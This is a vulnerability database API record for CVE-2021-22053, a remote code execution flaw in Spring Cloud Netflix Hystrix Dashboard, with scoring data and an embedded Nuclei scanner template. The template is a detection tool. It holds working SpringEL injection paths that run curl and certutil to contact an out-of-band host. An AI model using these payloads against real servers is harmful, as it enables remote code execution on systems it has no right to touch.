{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-22053/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-22053/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-22053/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-22053/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-22053/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-22053"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-22053"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.13235,
      "kev": false,
      "percentile": 0.96207
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-22053.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2021-22053\n\ninfo:\n  name: Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution\n  author: forgedhallpass\n  severity: high\n  description: |\n    Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates.  When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.\n  remediation: |\n    Upgrade to Spring Cloud Netflix Hystrix Dashboard version 2.2.10 or later to mitigate this vulnerability.\n  reference:\n    - https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053\n    - https://tanzu.vmware.com/security/cve-2021-22053\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-22053\n    - https://github.com/trhacknon/Pocingit\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2021-22053\n    cwe-id: CWE-94\n    epss-score: 0.13235\n    epss-percentile: 0.96207\n    cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: vmware\n    product: spring_cloud_netflix\n  tags: cve,cve2021,rce,spring,vmware,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec(\"curl http://{{interactsh-url}}\")}__::.x/'\n      - '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec(\"certutil -urlcache -split -f http://{{interactsh-url}}\")}__::.x/'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: regex\n        part: interactsh_request\n        regex:\n          - 'User-Agent: (curl|CertUtil)'\n# digest: 490a00463044022007c52f5bcd4024e0ce1914dc52bb4369a933fd60eb45d680ee05bcf6b11b7e8002204199d4f9138e884e73fd9c393d10990758ef56f6093651e0b87fab761cf0aa64:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-22053"
}